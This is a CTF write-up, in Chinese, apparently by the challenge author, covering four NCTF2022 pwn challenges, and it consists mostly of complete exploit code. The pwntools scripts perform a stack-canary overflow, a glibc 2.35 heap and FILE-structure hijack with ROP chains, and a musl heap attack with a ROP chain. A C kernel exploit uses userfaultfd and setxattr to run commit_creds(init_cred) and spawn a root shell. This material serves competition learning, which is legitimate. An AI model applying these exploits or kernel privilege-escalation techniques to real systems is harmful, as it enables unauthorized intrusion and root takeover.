NCTF2022 - pwn 部分 wp

总的来说我出的几题不是很难，主要是想把自己感觉有意思的一些东西分享给大家。

ezlogin

程序设计周大作业稍加改编出的题目。洞在Tea里，有个数组越界写，为了避开\x00截断，我给了*可以对其进行替换。最后base64带出flag。

from pwn import*

context(os='linux',arch='amd64',log_level='debug')

s = remote('49.233.15.226', 8001)

canary = u64(s.recv(7).rjust(8,b'\x00'))

success('canary=>' + hex(canary))

s.sendlineafter(b"3.exit\n>> ", b"1")

s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')

s.sendlineafter(b"When you finish  please input 'Y'\n", b"Y")

s.sendlineafter(b"5.RC4\n>> ", b"4")

s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")

sleep(1)

s.sendline(b"echo `base64 /flag` | base64 -d")

s.interactive()

ezlink

2.35堆利用，两次show，一次泄露heap_base，(可以反推，不过我直接用笨办法本地硬跑一下)利用沙盒残留的地址泄露libc_base，其他随便找个IO打一下即可。

from pwn import*

import time

context(os='linux',arch='amd64',log_level='debug')

libc = ELF('./libc-2.35.s0')

def add(content):

	s.sendlineafter(b'>> ', b'1')

	s.sendafter(b'Please input your secret\n', content)

def delete():

	s.sendlineafter(b'>> ', b'2')

def show():

	s.sendlineafter(b'>> ', b'3')

def edit(content):

	s.sendlineafter(b'>> ', b'4')

	s.sendafter(b'Please input content\n', content)

def get_heap_base(target):

	start_time = time.time()

	base = 0x550000000000

	while(1):

		if(((base+0x1000)>>12) ^ (base+0x1590) == target):

			end_time = time.time()

			print(end_time-start_time)

			return base

		if(base == 0x560000000000):

			end_time = time.time()

			print(end_time-start_time)

			print('[-] get heap base failed')

			return 0xdeadbeef

		base+= 0x1000

def pwn():

	add(b'a')

	delete()

	add(b'\x00')

	show()

	s.recvuntil(b'you only have two chances to peep a secret\n')

	heap_base = u64(s.recv(6).ljust(8,b'\x00'))

	success(hex(heap_base))

	assert(heap_base & 0xff0000000000 == 0x550000000000)

	heap_base = get_heap_base(heap_base)

	assert(heap_base & 0xfff == 0)

	success('heap_base=>' + hex(heap_base))

	delete()

	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))

	add(b'\x60')

	show()

	libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60

	success('libc_base=>' + hex(libc_base))

	pop_rax_ret = libc_base + 0x0000000000045eb0

	pop_rdi_ret = libc_base + 0x000000000002a3e5

	pop_rsi_ret = libc_base + 0x000000000002be51

	pop_rdx_ret_r12 = libc_base + 0x000000000011f497

	pop_rsp_ret = libc_base + 0x0000000000035732

	syscall_ret = libc_base + 0x0000000000091396

	rop_addr = heap_base

	orw_addr = heap_base

	fake_IO_addr = heap_base + 0x17e0

	fake_IO_file = p64(0) + p64(0)

	fake_IO_file+= p64(0)*3 + p64(1)                     # IO

	fake_IO_file+= p64(0)*7 + p64(0)                     # _chain

	fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)

	fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)

	fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data

	fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5

	fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps'])

	print(hex(len(fake_IO_file)))

	add(fake_IO_file[:0xd0])

	add(b'a')

	delete()

	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))

	add(fake_IO_file[0xd0:])

	add(b'a')

	delete()

	edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))

	add(p64(fake_IO_addr))

	payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)

	payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)

	payload+= p64(0)*6

	payload+= p64(heap_base + 0x1e10 - 0x68)

	payload+= p64(pop_rdi_ret) + p64(0)

	payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)

	payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)

	payload+= p64(libc_base + libc.sym['read'])

	payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000)

	add(payload) # _wide_vtable

	# open

	orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)

	orw+= p64(pop_rsi_ret) + p64(0)

	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)

	orw+= p64(libc_base + libc.sym['open'])

	# getdents64

	orw+= p64(pop_rdi_ret) + p64(3)

	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)

	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)

	orw+= p64(pop_rax_ret) + p64(217)

	orw+= p64(syscall_ret)

	# write

	orw+= p64(pop_rdi_ret) + p64(1)

	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)

	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)

	orw+= p64(libc_base + libc.sym['write'])

	# open

	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)

	orw+= p64(pop_rsi_ret) + p64(0)

	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)

	orw+= p64(libc_base + libc.sym['open'])

	# read

	orw+= p64(pop_rdi_ret) + p64(4)

	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)

	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)

	orw+= p64(libc_base + libc.sym['read'])

	# puts

	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)

	orw+= p64(libc_base + libc.sym['puts'])

	# exit

	orw+= p64(libc_base + libc.sym['exit'])

	orw = orw.ljust(0x300,b'\x00')

	orw+= b'.\x00'

	s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf

	sleep(1)

	s.sendline(orw)

	s.recvuntil(b'NCTF')

	success(b'NCTF' + s.recvuntil(b'}'))

	s.interactive()

while True:

	try:

		s = remote('49.233.15.226', 8003)

		pwn()

	except:

		s.close()

		continue

babyLinkedList

1.2.2的musl，给了任意地址写，可以打栈，可以伪造meta，本地和远程布局稍有不同，给出了部分dockerfile可以拉个docker出来看看。最后加了个suid date提权。

from pwn import*

context(os='linux',arch='amd64',log_level='debug')

s = remote('49.233.15.226', 8002)

def add(size,content):

	s.sendlineafter(b'>> ', b'1')

	s.sendlineafter(b'Please input size\n', str(size))

	s.sendafter(b'Please input content\n', content)

def delete():

	s.sendlineafter(b'>> ', b'2')

def show():

	s.sendlineafter(b'>> ', b'3')

def edit(content):

	s.sendlineafter(b'>> ', b'4')

	sleep(0.1)

	s.send(content)

add(0x20, b'a')

add(0x18, b'a')

edit(b'a'*0x20)

show()

# 0x7f60b75bcce0

libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))  - 0xa6ce0

success('libc_base=>' + hex(libc_base))

__malloc_context = libc_base + 0xa3aa0

__stdout_used = libc_base + 0xa3410

edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used))

edit(p64(libc_base - 0x4000))

payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10

payload+= p64(libc_base - 0x4000 + 0x50)

payload+= p64(libc_base  + 0x0000000000015286) # ret

payload+= b'\x00'*8

payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];

# open

payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)

payload+= p64(libc_base + 0x0000000000016242) + p64(0)

payload+= p64(libc_base + 0x0000000000019418) + p64(0)

payload+= p64(libc_base + 0x0000000000018644) + p64(2)

payload+= p64(libc_base + 0x0000000000022747)

# read

payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)

payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)

payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)

payload+= p64(libc_base + 0x0000000000018644) + p64(0)

payload+= p64(libc_base + 0x0000000000022747)

# write

payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)

payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)

payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)

payload+= p64(libc_base + 0x0000000000018644) + p64(1)

payload+= p64(libc_base + 0x0000000000022747)

# execv

payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)

payload+= p64(libc_base + 0x0000000000016242) + p64(0)

payload+= p64(libc_base + 0x0000000000019418) + p64(0)

payload+= p64(libc_base + 0x0000000000018644) + p64(59)

payload+= p64(libc_base + 0x0000000000022747)

add(0x1500, payload)

s.sendlineafter(b'>> ', b'0')

sleep(1)

s.sendline(b"date -f /home/ctf/flag")

s.interactive()

babyyLinkedList

userfaultfd+setxatter占位，seq打ROP。

#define _GNU_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <stdint.h>

#include <unistd.h>

#include <fcntl.h>

#include <pthread.h>

#include <poll.h>

#include <string.h>

#include <assert.h>

#include <sys/types.h>

#include <sys/xattr.h>

#include <linux/userfaultfd.h>

#include <sys/ioctl.h>

#include <sys/syscall.h>

#include <sys/msg.h>

#include <sys/mman.h>

#include <sys/sem.h>

#include <sys/ipc.h>

#include <sys/shm.h>

#include <semaphore.h>

#define PAGE_SIZE 0x1000

int fd;

int ret;

sem_t sem_delete;

size_t seq_fd;

size_t seq_fds[0x100];

size_t kernel_offset;

char *user_buf;

char *sleep_buf;

void ErrExit(char* err_msg)

{

	puts(err_msg);

	exit(-1);

}

void get_shell()

{

	if (getuid() == 0)

	{

		puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");

		system("cat /flag;/bin/sh");

	}

	else

	{

		puts("[-] get shell error");

		exit(1);

	}

}

void register_userfault(void *fault_page,void *handler)

{

	pthread_t thr;

	struct uffdio_api ua;

	struct uffdio_register ur;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

	ua.api = UFFD_API;

	ua.features = 0;

	if(ioctl(uffd, UFFDIO_API, &ua) == -1)

		ErrExit("[-] ioctl-UFFDIO_API error");

	ur.range.start = (unsigned long)fault_page; // the area we want to monitor

	ur.range.len = PAGE_SIZE;

	ur.mode = UFFDIO_REGISTER_MODE_MISSING;

	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread

		ErrExit("[-] ioctl-UFFDIO_REGISTER error");

	// open a thread, receive the wrong signal, and the handle it

	int s = pthread_create(&thr, NULL, handler, (void*)uffd);

	if(s!=0)

		ErrExit("[-] pthread-create error");

}

typedef struct

{

	uint64_t size;

	char *buf;

}Data;

void add(uint64_t size, char *buf)

{

	Data data;

	data.size = size;

	data.buf = buf;

	ioctl(fd, 0x6666, &data);

}

void delete(char *buf)

{

	Data data;

	data.size = 0;

	data.buf = buf;

	ioctl(fd, 0x7777, &data);

}

void* delete_thread(void* index)

{

	puts("[+] delete thread start");

	sem_wait(&sem_delete);

	delete(sleep_buf);

	return NULL;

}

void *userfault_leak_handler(void *arg)

{

	struct uffd_msg msg;

	unsigned long uffd = (unsigned long)arg;

	struct pollfd pollfd;

	int nready;

	pollfd.fd = uffd;

	pollfd.events = POLLIN;

	nready = poll(&pollfd, 1, -1);

	if(nready != 1)

		ErrExit("[-] wrong poll return value");

	nready = read(uffd, &msg, sizeof(msg));

	if(nready<=0)

		ErrExit("[-] msg error");

	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	if(page == MAP_FAILED)

		ErrExit("[-] mmap error");

	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] leak handler created\033[0m");

	pthread_t thr_delete;

	pthread_create(&thr_delete, NULL, delete_thread, (void*)0);

	sem_post(&sem_delete);

	sleep(1);

	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)

		ErrExit("open stat error");

	// init page

	memset(page, 0, sizeof(page));

	uc.src = (unsigned long)page;

	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

	uc.len = PAGE_SIZE;

	uc.mode = 0;

	uc.copy = 0;

	ioctl(uffd, UFFDIO_COPY, &uc);

	puts("[+] leak handler done");

}

void *userfault_write_handler(void *arg)

{

	struct uffd_msg msg;

	unsigned long uffd = (unsigned long)arg;

	struct pollfd pollfd;

	int nready;

	pollfd.fd = uffd;

	pollfd.events = POLLIN;

	nready = poll(&pollfd, 1, -1);

	if(nready != 1)

		ErrExit("[-] wrong poll return value");

	nready = read(uffd, &msg, sizeof(msg));

	if(nready<=0)

		ErrExit("[-] msg error");

	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	if(page == MAP_FAILED)

		ErrExit("[-] mmap error");

	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] write handler created\033[0m");

	pthread_t thr_delete;

	pthread_create(&thr_delete, NULL, delete_thread, (void*)1);

	sem_post(&sem_delete);

	sleep(1);

	memset(page, 0, sizeof(page));

	uc.src = (unsigned long)page;

	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

	uc.len = PAGE_SIZE;

	uc.mode = 0;

	uc.copy = 0;

	ioctl(uffd, UFFDIO_COPY, &uc);

	puts("[+] write handler done");

}

void *userfault_sleep_handler(void *arg)

{

	struct uffd_msg msg;

	unsigned long uffd = (unsigned long)arg;

	struct pollfd pollfd;

	int nready;

	pollfd.fd = uffd;

	pollfd.events = POLLIN;

	nready = poll(&pollfd, 1, -1);

	if(nready != 1)

		ErrExit("[-] wrong poll return value");

	nready = read(uffd, &msg, sizeof(msg));

	if(nready<=0)

		ErrExit("[-] msg error");

	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	if(page == MAP_FAILED)

		ErrExit("[-] mmap error");

	struct uffdio_copy uc;

	puts("[+] sleep handler created");

	sleep(100);

	// init page

	memset(page, 0, sizeof(page));

	uc.src = (unsigned long)page;

	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

	uc.len = PAGE_SIZE;

	uc.mode = 0;

	uc.copy = 0;

	ioctl(uffd, UFFDIO_COPY, &uc);

	puts("[+] sleep handler done");

}

size_t pop_rdi_ret = 0xffffffff81086aa0;

size_t pop_rbp_ret = 0xffffffff810005ae;

size_t init_cred = 0xffffffff82a5fa40;

size_t commit_creds = 0xffffffff810c3d30;

size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;

size_t add_rsp_ret = 0xffffffff8188fba1;

void *userfault_hijack_handler(void *arg)

{

	struct uffd_msg msg;

	unsigned long uffd = (unsigned long)arg;

	struct pollfd pollfd;

	int nready;

	pollfd.fd = uffd;

	pollfd.events = POLLIN;

	nready = poll(&pollfd, 1, -1);

	if(nready != 1)

		ErrExit("[-] wrong poll return value");

	nready = read(uffd, &msg, sizeof(msg));

	if(nready<=0)

		ErrExit("[-] msg error");

	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	if(page == MAP_FAILED)

		ErrExit("[-] mmap error");

	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] hijack handler created\033[0m");

	puts("[+] tigger..");

	pop_rdi_ret += kernel_offset;

	pop_rbp_ret += kernel_offset;

	init_cred += kernel_offset;

	commit_creds += kernel_offset;

	swapgs_restore_regs_and_return_to_usermode += kernel_offset;

	__asm__(

	"mov r15,   0x1111111111;"

	"mov r14,   0x2222222222;"

	"mov r13,   0x3333333333;"

	"mov r12,   pop_rdi_ret;"

	"mov rbp,   init_cred;"

	"mov rbx,   pop_rbp_ret;"

	"mov r11,   0x246;"

	"mov r10,   commit_creds;"

	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"

	"mov r8,    0xaaaaaaaaaa;"

	"xor rax,   rax;"

	"mov rcx,   0xbbbbbbbbbb;"

	"mov rdx,   8;"

	"mov rsi,   rsp;"

	"mov rdi,   seq_fd;"

	"syscall"

	);

	printf("[+] uid: %d gid: %d\n", getuid(), getgid());

	get_shell();

	// init page

	memset(page, 0, sizeof(page));

	uc.src = (unsigned long)page;

	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);

	uc.len = PAGE_SIZE;

	uc.mode = 0;

	uc.copy = 0;

	ioctl(uffd, UFFDIO_COPY, &uc);

	puts("[+] hijack handler done");

}

int main()

{

	char *leak_buf;

	char *write_buf;

	char* hijack_buf;

	char leak_data[0x10];

	char write_data[0x10];

	cpu_set_t cpu_set;

	CPU_ZERO(&cpu_set);

	CPU_SET(0, &cpu_set);

	sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

	sem_init(&sem_delete, 0, 0);

	fd = open("/proc/babyLinkedList", O_RDONLY);

	//for(int i=0; i<100; i++)

	//	if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)

	//		ErrExit("open stat error");

	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	register_userfault(leak_buf, userfault_leak_handler);

	write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	register_userfault(write_buf, userfault_write_handler);

	sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	register_userfault(sleep_buf, userfault_sleep_handler);

	add(0x20, leak_buf);

	delete(leak_data);

	kernel_offset = ((size_t*)leak_data)[0];

	kernel_offset-= 0xffffffff812f2db0;

	printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);

	add(0x20, write_buf);

	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);

	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset;

	setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);

	return 0;

}

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前言本文由本人首发于先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

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